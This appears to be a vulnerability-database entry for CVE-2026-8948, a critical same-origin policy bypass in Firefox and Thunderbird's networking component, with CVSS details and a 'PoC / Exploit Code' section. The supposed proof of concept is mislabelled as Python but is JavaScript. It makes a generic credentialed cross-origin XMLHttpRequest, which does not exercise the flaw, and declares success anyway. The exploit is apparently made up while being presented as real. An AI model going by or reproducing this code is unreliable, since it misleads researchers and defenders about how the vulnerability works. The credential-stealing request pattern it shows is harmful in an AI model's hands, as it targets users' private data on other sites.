Same-origin policy bypass in the DOM: Networking component. This vulnerability was fixed in Firefox 151 and Thunderbird 151.
CVSS Details
CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Thunderbird < 151
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-8948
// Conceptual exploit demonstrating SOP bypass in DOM: Networking
function poc_exploit() {
// Target a sensitive endpoint on a different origin
const targetUrl = 'https://example.com/private/api/data';
// Attempt to trigger the vulnerable DOM: Networking behavior
// This simulates the logic flaw that bypasses SOP checks
const vulnerableRequest = new XMLHttpRequest();
vulnerableRequest.open('GET', targetUrl, true);
vulnerableRequest.withCredentials = true; // Attempt to send cookies
vulnerableRequest.onload = function() {
if (vulnerableRequest.status === 200) {
// If SOP is bypassed, we can read the responseText
console.log('[+] Exploit Successful! Leaked Data:');
console.log(vulnerableRequest.responseText);
alert('SOP Bypassed: Data leaked to console.');
} else {
console.log('[-] Request failed or blocked.');
}
};
try {
vulnerableRequest.send();
} catch (e) {
console.error('Execution blocked by browser security:', e);
}
}
// Execute the PoC
poc_exploit();